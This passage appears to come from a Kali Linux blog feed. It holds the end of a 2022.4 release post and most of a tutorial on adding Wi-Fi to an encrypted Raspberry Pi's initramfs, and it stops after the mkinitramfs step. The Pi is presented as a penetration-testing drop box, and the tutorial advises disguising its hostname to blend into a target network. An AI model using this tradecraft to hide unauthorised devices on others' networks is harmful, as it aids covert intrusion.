&lt;p>Recapping our &lt;a href="https://www.kali.org/blog/">blog posts&lt;/a> since the last release:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/community-showcase-using-kali-pi-p4wnp1-aloa/">Community Showcase: Raspberry Pi Zero W P4wnP1 A.L.O.A.&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-community-themes/">Kali Community Themes&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/">Remotely Accessing Secure Kali Pi&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>There have been various contributions since our release. Thank you guys!
Out of these, a few people&amp;rsquo;s actions have helped make a significant improvement to Kali, so giving them credit:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/alexhenrie">Alex Henrie&lt;/a> - Fixed a long-standing issue with the prompt in the Docker images, thanks so much!&lt;/li>
&lt;li>&lt;a href="https://twitter.com/arszilla">Arszilla&lt;/a> - Kali ARM and i3-gap work&lt;/li>
&lt;li>&amp;ldquo;Fred Sheehan&amp;rdquo; on the Kali-forums - Super helpful, great poster!&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/Shubhamvis98">Shubham Vishwakarma&lt;/a> - Bringing Kali to the PinePhone!&lt;/li>
&lt;/ul>
&lt;p>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>!&lt;/p>
&lt;hr>
&lt;h2 id="discord-chat">Discord Chat&lt;/h2>
&lt;p>The next &lt;a href="https://discord.kali.org/">Kali Discord&lt;/a> session will happen a week after the release, &lt;strong>Tuesday, 13th December 2022 16:00 -&amp;gt; 17:00 &lt;a href="https://time.is/UTC">UTC/+0 GMT&lt;/a>&lt;/strong>.&lt;/p>
&lt;p>&lt;em>Please note, we will not be recording these sessions. These are live sessions only.&lt;/em>&lt;/p>
&lt;h2 id="get-kali-linux-20224">Get Kali Linux 2022.4&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Go &lt;a href="https://www.kali.org/get-kali/">get Kali&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.
This way you will have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2022.4 We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2022.4&amp;quot;
VERSION_ID=&amp;quot;2022.4&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.0.0-kali3-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em>&lt;/p></description></item><item><title>Remotely Accessing Secure Kali Pi</title><link>https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/</link><guid isPermaLink="true">https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/</guid><pubDate>Mon, 28 Nov 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/images/remotely-accessing-secure-kali-pi.jpg" type="image/jpg"/><description>&lt;p>In &lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/">Secure Kali Pi (2022)&lt;/a>, the first blog post in the Raspberry Pi series, we set up a &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-4/">Raspberry Pi 4&lt;/a> with full disk encryption. We mentioned that we can leave it somewhere as a drop box. This brought up the question, &amp;ldquo;&lt;strong>If it is not on my local network how do I connect to it to unlock it?&lt;/strong>&amp;rdquo; So we will now answer this by showing a few different ways to connect to our secure Kali Pi drop box. This includes:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wireless-80211">Wireless 802.11&lt;/a>:
&lt;ul>
&lt;li>As a &lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wi-fi---client-mode">client on an existing network(s)&lt;/a> &lt;em>(only if we know any details ahead of time to pre-configure)&lt;/em>&lt;/li>
&lt;li>Create an &lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wi-fi---access-point">access point&lt;/a>, to become a new network &lt;em>(that we can access if we are in physical distance to the device)&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wired-connection">Wired ethernet&lt;/a>:
&lt;ul>
&lt;li>Using static network settings &lt;em>(if we know the details ahead of time to pre-configure it)&lt;/em>&lt;/li>
&lt;li>DHCP to automatically discover network values &lt;em>(which creates noise)&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>After getting internet access, we will use a &lt;strong>&lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#vpn-connection">Virtual Private Network&lt;/a>&lt;/strong> to remotely connect back to a server of our choosing, which we can also join from anywhere online, thus getting around the requirements of having to port forward on any firewalls.&lt;/p>
&lt;hr>
&lt;h2 id="ingredients">Ingredients&lt;/h2>
&lt;ul>
&lt;li>&lt;input disabled="" type="checkbox"> Drop box - Raspberry Pi 4
&lt;ul>
&lt;li>&lt;em>Pre-configured as of our &lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/">Secure Kali Pi&lt;/a> blog post&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> Wi-Fi - We will be using the on-board wireless adapter (to make the device as compact as possible for our drop box)
&lt;ul>
&lt;li>However if the performance is not sufficient for your needs, an external compatible wireless adapter may give greater range&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;input disabled="" type="checkbox"> External server - A pre-created &amp;amp; harden OpenVPN service
&lt;ul>
&lt;li>&lt;em>Creating this is out-of-scope for this blog post&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="pre-config-wireless-80211">Pre-Config Wireless 802.11&lt;/h2>
&lt;h3 id="overview">Overview&lt;/h3>
&lt;p>While wired networking in the initramfs does not require a lot of extras, wireless has a few more moving parts.
To enable wireless support, we need to find:&lt;/p>
&lt;ul>
&lt;li>The kernel &lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wi-fi-modules">Wi-Fi &lt;strong>modules&lt;/strong>&lt;/a> that need to be in the initramfs &lt;em>(Depends on hardware)&lt;/em>&lt;/li>
&lt;li>The &lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#wi-fi-firmware">Wi-Fi &lt;strong>firmware&lt;/strong>&lt;/a> files that need to be in the initramfs &lt;em>(Depends on hardware)&lt;/em>&lt;/li>
&lt;li>The &lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#interface-name">Wireless &lt;strong>interface name&lt;/strong>&lt;/a> &lt;em>(Kali defaults to: &lt;code>wlan0&lt;/code>)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#binaries">Additional packages&lt;/a> to increase functionally. Either:
&lt;ul>
&lt;li>&lt;a href="https://w1.fi/wpa_supplicant/">wpa_supplicant&lt;/a> to connect as a client to a wireless network&lt;/li>
&lt;li>&lt;a href="https://w1.fi/hostapd/">hostapd&lt;/a> to create an access point for a new wireless network&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>Additionally, knowing the &lt;strong>&lt;a href="https://www.kali.org/blog/remotely-accessing-secure-kali-raspberry-pi/#change-the-hostname">hostname&lt;/a>&lt;/strong> of your Raspberry Pi can help find it, as well as blend in, in your target environment.&lt;/p>
&lt;hr>
&lt;h3 id="interface-name">Interface Name&lt;/h3>
&lt;p>First, we need to know what our wireless interface is called.&lt;/p>
&lt;p>In Kali we &lt;strong>disable&lt;/strong> predictable interface names by default, so the first wireless device will be &lt;code>wlan0&lt;/code>.&lt;/p>
&lt;p>As long as there is no other hardware plugged into the Raspberry Pi at this stage, it should stand out:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ ip a
: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc mq state UP group default qlen 1000
link/ether dc:a6:32:b0:07:ca brd ff:ff:ff:ff:ff:ff
inet 192.168.42.19/24 brd 192.168.42.255 scope global dynamic eth0
valid_lft 63997sec preferred_lft 63997sec
inet6 fe80::dea6:32ff:feb0:7ca/64 scope link
valid_lft forever preferred_lft forever
3: wlan0: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc pfifo_fast state DOWN group default qlen 1000
link/ether 2a:54:d3:ee:62:95 brd ff:ff:ff:ff:ff:ff permaddr dc:a6:32:b0:07:cb
&lt;/code>&lt;/pre>
&lt;hr>
&lt;h3 id="wi-fi-modules">Wi-Fi Modules&lt;/h3>
&lt;p>We are now going to discover what modules are needed in order for our wireless device to come up.&lt;/p>
&lt;p>On most ARM systems, the wireless device is typically connected via SDIO, and unfortunately we do not have a command like &lt;a href="https://manpages.debian.org/testing/pciutils/lspci.8.en.html">lspci&lt;/a> to list any devices on the SDIO bus, but we can use &lt;a href="https://manpages.debian.org/testing/util-linux/dmesg.1.en.html">dmesg&lt;/a> and &lt;a href="https://manpages.debian.org/testing/grep/grep.1.en.html">grep&lt;/a> to look:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ dmesg | grep wlan
kali@kalipi:~$
&lt;/code>&lt;/pre>
&lt;p>Since we were returned directly to the prompt, this means that &amp;ldquo;wlan&amp;rdquo; is not found in the dmesg output. As we mention in the Kali &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-4/">Raspberry Pi 4 documentation&lt;/a> we use the &lt;a href="https://github.com/seemoo-lab/nexmon">nexmon&lt;/a> firmware for the Raspberry Pi devices, so lets try searching for that instead:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ dmesg | grep nexmon
[ 5.070542] brcmfmac: brcmf_c_preinit_dcmds: Firmware: BCM4345/6 wl0: Oct 3 2021 18:14:30 version 7.45.206 (nexmon.org: 2.2.2-343-ge3c8-dirty-5) FWID 01-88ee44ea
&lt;/code>&lt;/pre>
&lt;p>As we can see in the output above, &lt;code>brcmfmac&lt;/code> is the driver that is giving us the message. There is a handy command that comes from the &lt;a href="https://pkg.kali.org/pkg/kmod">kmod&lt;/a> package, called &lt;a href="https://manpages.debian.org/testing/kmod/modinfo.8.en.html">modinfo&lt;/a> which will give us information about any module that the kernel has.&lt;/p>
&lt;hr>
&lt;p>Now we know that the wireless card on the Raspberry Pi uses the &lt;code>brcmfmac&lt;/code> driver. So lets run &lt;code>modinfo brcmfmac&lt;/code> and see what information it gives us:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ modinfo brcmfmac
filename: /lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211/brcmfmac/brcmfmac.ko
license: Dual BSD/GPL
description: Broadcom 802.11 wireless LAN fullmac driver.
author: Broadcom Corporation
firmware: brcm/brcmfmac*-sdio.*.bin
firmware: brcm/brcmfmac*-sdio.*.txt
[...]
srcversion: 913634DB95F858E921F71C1
[...]
alias: sdio:c*v02D0dA887*
depends: brcmutil,cfg80211
intree: Y
name: brcmfmac
vermagic: 5.15.44-Re4son-v8l+ SMP preempt mod_unload modversions aarch64
parm: txglomsz:Maximum tx packet chain size [SDIO] (int)
parm: debug:Level of debug output (int)
parm: p2pon:Enable legacy p2p management functionality (int)
parm: feature_disable:Disable features (int)
parm: alternative_fw_path:Alternative firmware path (string)
parm: fcmode:Mode of firmware signalled flow control (int)
parm: roamoff:Do not use internal roaming engine (int)
parm: iapp:Enable partial support for the obsoleted Inter-Access Point Protocol (int)
parm: ignore_probe_fail:always succeed probe for debugging (int)
&lt;/code>&lt;/pre>
&lt;p>As you can see, there is quite a lot of information given there. A quick overview of it:&lt;/p>
&lt;ul>
&lt;li>Where the module file is (&lt;code>filename&lt;/code>)&lt;/li>
&lt;li>The license&lt;/li>
&lt;li>The description&lt;/li>
&lt;li>The author&lt;/li>
&lt;li>The firmware files it can use&lt;/li>
&lt;li>Aliases used to figure out if this is the module to use when a device is found&lt;/li>
&lt;li>Any module &lt;strong>dependencies&lt;/strong> (&lt;code>depends&lt;/code>)&lt;/li>
&lt;li>Whether the module comes from in the kernel tree&lt;/li>
&lt;li>The name of the module&lt;/li>
&lt;li>The version magic&lt;/li>
&lt;li>Any parameters (&lt;code>params&lt;/code>)&lt;/li>
&lt;/ul>
&lt;p>For what we need, the &lt;strong>dependencies section is the key&lt;/strong>.&lt;/p>
&lt;hr>
&lt;p>When we read the man page for &lt;a href="https://manpages.debian.org/testing/kmod/modinfo.8.en.html">modinfo&lt;/a>, we see that it offers the &lt;code>-F&lt;/code> flag to limit the output to certain fields. Since we currently care about the dependencies, let&amp;rsquo;s re-run &lt;code>modinfo&lt;/code> passing &lt;code>-F depends&lt;/code> since that is what we want to know.&lt;/p>
&lt;p>To make it easier to understand the output, we will not group multiple modules together:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ modinfo -F depends brcmfmac
brcmutil,cfg80211
&lt;/code>&lt;/pre>
&lt;p>So in our case, the &lt;code>brcmfmac&lt;/code> module depends on both &lt;code>brcmutil&lt;/code>, and &lt;code>cfg80211&lt;/code>. So we run &lt;code>modinfo&lt;/code> on both of those as well to see their dependencies, if any:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ modinfo -F depends brcmutil
kali@kalipi:~$
&lt;/code>&lt;/pre>
&lt;p>Notice that the line is empty. This means that brcmutil does not have any additional module dependencies.&lt;/p>
&lt;p>Now we check &lt;code>cfg80211&lt;/code>, the other dependency that was listed:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ modinfo -F depends cfg80211
rfkill
&lt;/code>&lt;/pre>
&lt;p>Here we see that cfg80211&amp;rsquo;s &lt;strong>depends&lt;/strong> has an additional dependency on the &lt;code>rfkill&lt;/code> module. So we run &lt;code>modinfo&lt;/code> against it as well:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ modinfo -F depends rfkill
kali@kalipi:~$
&lt;/code>&lt;/pre>
&lt;p>Like &lt;code>brcmutil&lt;/code>, &lt;code>rfkill&lt;/code> does not have any output, so there are no dependencies. We now have our list of modules that we need to add to the initramfs:&lt;/p>
&lt;ul>
&lt;li>&lt;code>brcmfmac&lt;/code>&lt;/li>
&lt;li>&lt;code>brcmutil&lt;/code>&lt;/li>
&lt;li>&lt;code>cfg80211&lt;/code>&lt;/li>
&lt;li>&lt;code>rfkill&lt;/code>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h3 id="wi-fi-firmware">Wi-Fi Firmware&lt;/h3>
&lt;p>We now need the firmware for the Wi-Fi card. As before, we use the &lt;code>modinfo&lt;/code> command, but this time we will search for &lt;code>firmware&lt;/code> to see what firmware the module can use:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ modinfo brcmfmac | grep firmware
firmware: brcm/brcmfmac*-sdio.*.bin
firmware: brcm/brcmfmac*-sdio.*.txt
[...]
&lt;/code>&lt;/pre>
&lt;p>On Linux systems, the &lt;a href="https://docs.kernel.org/driver-api/firmware/fw_search_path.html">default firmware search path&lt;/a> is &lt;code>/lib/firmware/&lt;/code> so the full path to the above would be:&lt;/p>
&lt;ul>
&lt;li>&lt;code>/lib/firmware/brcmfmac*-sdio.*.bin&lt;/code>&lt;/li>
&lt;li>&lt;code>/lib/firmware/brcmfmac*-sdio.*.txt&lt;/code>&lt;/li>
&lt;/ul>
&lt;p>Notice the wildcards (&lt;code>*&lt;/code>) in the firmware names. This means that it will match any of those files, so we will simply include all of the firmware that is in &lt;code>/lib/firmware/brcm&lt;/code>, and this would allow for using wireless on not just our current Raspberry Pi 4, but if we were to plug our &lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/">secure Kali Pi&lt;/a> SD Card into a &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-3/">Raspberry Pi 3&lt;/a>, or maybe even the &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-2-w/">Raspberry Pi Zero 2 W&lt;/a>, we would be able to get wireless on them as well.&lt;/p>
&lt;hr>
&lt;h3 id="binaries">Binaries&lt;/h3>
&lt;p>Lastly we need the the binaries that are used for connecting to wireless networks on Linux.&lt;/p>
&lt;p>A typical Kali installation has &lt;code>NetworkManager&lt;/code> installed, and that handles wireless networks for us in a graphical desktop environment. But since we are doing this long before the full Kali system is available we need the &lt;code>wpa_supplicant&lt;/code> binary, from the &lt;a href="https://packages.debian.org/testing/wpasupplicant">wpasupplicant&lt;/a> package.&lt;/p>
&lt;p>Additionally, we will want to check we are online in our script using the &lt;code>wpa_cli&lt;/code> command, which will include that as well.&lt;/p>
&lt;hr>
&lt;h2 id="change-the-hostname">Change The Hostname&lt;/h2>
&lt;p>By default, Kali images for our Raspberry Pi images are set to the &lt;a href="https://man7.org/linux/man-pages/man7/hostname.7.html">hostname&lt;/a> of &lt;code>kali-raspberry-pi&lt;/code>. Keeping in mind that some environments have hostname policies, you might want to change the hostname to blend in with the target network better.&lt;/p>
&lt;p>To change your hostname, you will want to run the command &lt;a href="https://manpages.debian.org/testing/systemd/hostnamectl.1.en.html">hostnamectl&lt;/a> from the &lt;a href="https://packages.debian.org/testing/systemd">systemd&lt;/a> package. Additionally, we will want to edit the &lt;code>/etc/hosts&lt;/code> file, which the system uses for local name resolution.&lt;/p>
&lt;p>As an example, if we were to be deploying in a Windows heavy environment, we might want to use a host name similar to what a Windows machine might use:&lt;/p>
&lt;pre>&lt;code class="language-shell">kali@kalipi:~$ sudo hostnamectl set-hostname DESKTOP-UL8M7HT
kali@kalipi:~$
kali@kalipi:~$ hostnamectl
Static hostname: DESKTOP-UL8M7HT
Icon name: computer
Machine ID: fb22604534b6499887f59dd16c7dfb7f
Boot ID: faa8f7e4d50e495faf34ab43a2cf86ba
Operating System: Kali GNU/Linux Rolling
Kernel: Linux 5.15.44-Re4son-v8+
Architecture: arm64
&lt;/code>&lt;/pre>
&lt;p>And then edit the &lt;code>/etc/hosts&lt;/code> file as well, changing the line that has &lt;code>kali-raspberry-pi&lt;/code> in it to be &lt;code>DESKTOP-UL8M7HT&lt;/code>:&lt;/p>
&lt;pre>&lt;code class="language-plaintext">127.0.1.1 DESKTOP-UL8M7HT
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
&lt;/code>&lt;/pre>
&lt;p>You will need to &lt;strong>reboot the system&lt;/strong> for the changes to take effect.&lt;/p>
&lt;hr>
&lt;h2 id="wi-fi-connection">Wi-Fi Connection&lt;/h2>
&lt;p>Like we did with &lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/">secure Kali Pi&lt;/a>, we need to make changes to our system, using the information we gathered above, to boot the system, handle the Wi-Fi network, making the device accessible.&lt;/p>
&lt;h3 id="client-mode">Client Mode&lt;/h3>
&lt;p>We already know what the wireless network(s) credentials are, and now we are going to join them.&lt;/p>
&lt;hr>
&lt;p>First up is the initramfs &lt;strong>hook for the Wi-Fi firmware&lt;/strong>.&lt;/p>
&lt;p>We will create the file &lt;code>/etc/initramfs-tools/hooks/zz-brcm&lt;/code> and add the following:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/sh
set -e
PREREQ=&amp;quot;&amp;quot;
prereqs()
{
echo &amp;quot;${PREREQ}&amp;quot;
}
case &amp;quot;${1}&amp;quot; in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
echo &amp;quot;Copying firmware files for brcm to initramfs&amp;quot;
cp -r /lib/firmware/brcm ${DESTDIR}/lib/firmware/
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Next, we will do the &lt;strong>hook for the modules&lt;/strong> and &lt;strong>&lt;code>wpa_supplicant&lt;/code> files&lt;/strong> we need.
We will use &lt;code>/etc/initramfs-tools/hooks/enable-wireless&lt;/code> which contains:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/sh
set -e
PREREQ=&amp;quot;&amp;quot;
prereqs()
{
echo &amp;quot;${PREREQ}&amp;quot;
}
case &amp;quot;${1}&amp;quot; in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
# Add Wi-Fi drivers
WIFI_DRIVERS=&amp;quot;brcmfmac brcmutil cfg80211 rfkill&amp;quot;
for x in ${WIFI_DRIVERS}; do
manual_add_modules ${x}
done
copy_exec /sbin/wpa_supplicant
copy_exec /sbin/wpa_cli
copy_file config /etc/initramfs-tools/wpa_supplicant.conf /etc/wpa_supplicant.conf
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>So now that we have our hooks that copy the Wi-Fi firmware, modules, and wpa_suppliant files, we need to write &lt;strong>a script to use them in the initramfs&lt;/strong>.&lt;/p>
&lt;p>One important thing to note about scripts in an initramfs, is that there is no guarantee on the order, so we create it with the name &lt;code>a_enable_wireless&lt;/code> so that alphabetically it should be the first script that gets run.&lt;/p>
&lt;p>The file &lt;code>/etc/initramfs-tools/scripts/init-premount/a_enable_wireless&lt;/code> looks like:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/sh
set -e
PREREQ=&amp;quot;&amp;quot;
prereqs()
{
echo &amp;quot;${PREREQ}&amp;quot;
}
case &amp;quot;${1}&amp;quot; in
prereqs)
prereqs
exit 0
;;
esac
. /scripts/functions
WIFI_INTERFACE=&amp;quot;wlan0&amp;quot;
alias WPACLI=&amp;quot;/sbin/wpa_cli -p/tmp/wpa_supplicant -i${WIFI_INTERFACE}&amp;quot;
log_begin_msg &amp;quot;Sleeping for 5 seconds to allow WLAN interface to become ready&amp;quot;
sleep 5
log_end_msg
log_begin_msg &amp;quot;Starting WLAN connection&amp;quot;
/sbin/wpa_supplicant -i${WIFI_INTERFACE} -c/etc/wpa_supplicant.conf -P/run/initram-wpa_supplicant.pid -B -f /tmp/wpa_supplicant.log
# Wait for AUTH_LIMIT seconds, then check the status
AUTH_LIMIT=60
echo -n &amp;quot;Waiting for connection (max ${AUTH_LIMIT} seconds)&amp;quot;
while [ $AUTH_LIMIT -ge 0 -a $(WPACLI status | grep wpa_state) != &amp;quot;wpa_state=COMPLETED&amp;quot; ]
do
sleep 1
echo -n &amp;quot;.&amp;quot;
AUTH_LIMIT=$(expr $AUTH_LIMIT - 1)
done
echo &amp;quot;&amp;quot;
if [ $(WPACLI status | grep wpa_state) != &amp;quot;wpa_state=COMPLETED&amp;quot; ]; then
ONLINE=0
log_failure_msg &amp;quot;WLAN offline after timeout&amp;quot;
echo
panic
else
ONLINE=1
log_success_msg &amp;quot;WLAN online&amp;quot;
echo
fi
configure_networking
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Additionally, we need to &lt;strong>kill the networking once we are booted&lt;/strong>, so that the actual system can use the device and connect properly.&lt;/p>
&lt;p>This script &lt;code>/etc/initramfs-tools/scripts/local-bottom/kill_wireless&lt;/code> is made up with:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/sh
set -e
PREREQ=&amp;quot;&amp;quot;
prereqs()
{
echo &amp;quot;${PREREQ}&amp;quot;
}
case &amp;quot;$1&amp;quot; in
prereqs)
prereqs
exit 0
;;
esac
echo &amp;quot;Killing wpa_supplicant so the system takes over later&amp;quot;
kill $(cat /run/initram-wpa_supplicant.pid)
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>As a reminder, scripts &lt;strong>need to be executable&lt;/strong> if you want them to run.
&lt;em>Additionally, if a hook is not marked as executable, initramfs-tools will skip that hook when running &lt;code>update-initramfs&lt;/code>:&lt;/em>&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/hooks/zz-brcm
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/hooks/enable-wireless
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/scripts/init-premount/a_enable_wireless
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/scripts/local-bottom/kill_wireless
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Now we use the information that we have gathered ahead of time to create our &lt;code>wpa_supplciant.conf&lt;/code> file to include the SSID &amp;amp; PSK, and any other possible options that the Wi-Fi network connection might need. You can read more information about the file by running &lt;code>man wpa_supplicant.conf&lt;/code>.&lt;/p>
&lt;p>A shortcut to generating one is to simply run &lt;code>wpa_passphrase SSID PASSWORD&lt;/code> where SSID is the name of the wireless network, and PASSWORD is the passphrase (aka PSK) for the network.&lt;/p>
&lt;p>In this example, we are going to be connecting our Raspberry Pi to the network &lt;strong>kali wireless&lt;/strong> with a passphrase of &lt;strong>secure kali wireless&lt;/strong>.&lt;/p>
&lt;div class="notices info">
&lt;p data-header="Info">
If your wireless network name has spaces in it, do not forget to &lt;strong>quote the SSID&lt;/strong> in the command!
&lt;/p>
&lt;/div>
&lt;p>One thing to note here, when you use &lt;code>wpa_passphrase&lt;/code> to generate the PSK, it includes the passphrase in plain text. Because of this, we will strip that line out of the file, &lt;em>just in case if anyone else happens to come across the device and knows how to look inside an initramfs file, we do not want them seeing the plain text password to the network&lt;/em>! And because we are using &lt;code>tee&lt;/code> rather than &lt;code>&amp;gt;&lt;/code> to write the file, we will see the file&amp;rsquo;s contents as its written:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ wpa_passphrase &amp;quot;kali wireless&amp;quot; &amp;quot;secure kali wireless&amp;quot; | grep -v \#psk | tee wpa_supplicant.conf
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>If you want to &lt;strong>add multiple wireless networks&lt;/strong> to your &lt;code>wpa_supplicant.conf&lt;/code> file, we can append the file rather than overwriting it:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ wpa_passphrase &amp;quot;kali wireless the second&amp;quot; &amp;quot;even more secure kali wireless&amp;quot; | grep -v \#psk | tee -a wpa_supplicant.conf
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Now we copy the newly generated configuration into &lt;code>/etc/initramfs-tools/&lt;/code> as that is where our &lt;code>enable-wireless&lt;/code> hook expects it to be:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ sudo cp -v wpa_supplicant.conf /etc/initramfs-tools/wpa_supplicant.conf
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>As a reminder, we covered which kernel version to use in our &lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/#kernel">secure Kali Pi&lt;/a> post, and since we used the &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-4/">Raspberry Pi 4&lt;/a>, we will continue to do so here, so our kernel version is &lt;code>5.15.44-Re4son-v8l+&lt;/code>&lt;/p>
&lt;p>Now that we have all the parts that we need, we simply run &lt;code>mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+&lt;/code> to generate the initramfs file with our changes to add wireless networking.&lt;/p>
&lt;p>We can also verify that our changes are in the initramfs by running &lt;code>lsinitramfs /boot/initramfs.gz&lt;/code> and use grep to show the files we are looking for:&lt;/p>
&lt;pre>&lt;code class="language-console">kali@kalipi:~$ mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+
kali@kalipi:~$
